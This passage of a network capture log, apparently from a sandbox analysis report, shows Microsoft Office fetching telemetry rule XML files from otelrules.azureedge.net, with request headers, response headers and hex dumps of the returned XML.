2024-11-18 19:21:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:39 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:39 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192139Z-16547b76f7f6nr89hC1DFWz7ug00000002f000000000shqv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:40 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:40 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 970a151a-f01e-003f-26c9-36d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192140Z-164f84587bf28gjzhC1DFW35kg000000068g000000004st9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:40 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:40 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 9d36fa3e-201e-00aa-2ec7-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192140Z-164f84587bffvwt9hC1DFW2ktw00000003y000000000gk72 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 19:21:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:40 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:40 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6763c5ef-a01e-000d-6fc4-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192140Z-1866b5c5fbb7km9phC1DFWr2sc000000053g00000000c6ha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:40 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:40 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192140Z-16547b76f7fjx5nrhC1DFW4dsc00000003bg00000000pw78 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:40 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:40 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:40 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f00fef9b-501e-0029-7e4b-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192140Z-164f84587bfr8hdmhC1DFWt5nc00000004d000000000pw84 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:40 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:41 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:41 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:41 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 75c178ff-801e-0067-31f8-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192141Z-164f84587bft9l9khC1DFW32rc000000065g00000000km8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:41 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:41 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:41 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:41 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192141Z-1866b5c5fbb2cz68hC1DFW9ytc00000005d0000000001fgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:41 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:41 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:41 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:41 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192141Z-16547b76f7fxqj4khC1DFWpypw00000003hg00000000mt0m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:41 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:41 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:41 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:41 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: fa116fd5-501e-0064-65a6-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192141Z-1866b5c5fbbfrdddhC1DFW7e9000000002ag000000005y7s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:41 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:41 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:42 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:42 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192142Z-16547b76f7fzwxm2hC1DFWt5hw00000003qg00000000y002 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:42 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:43 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
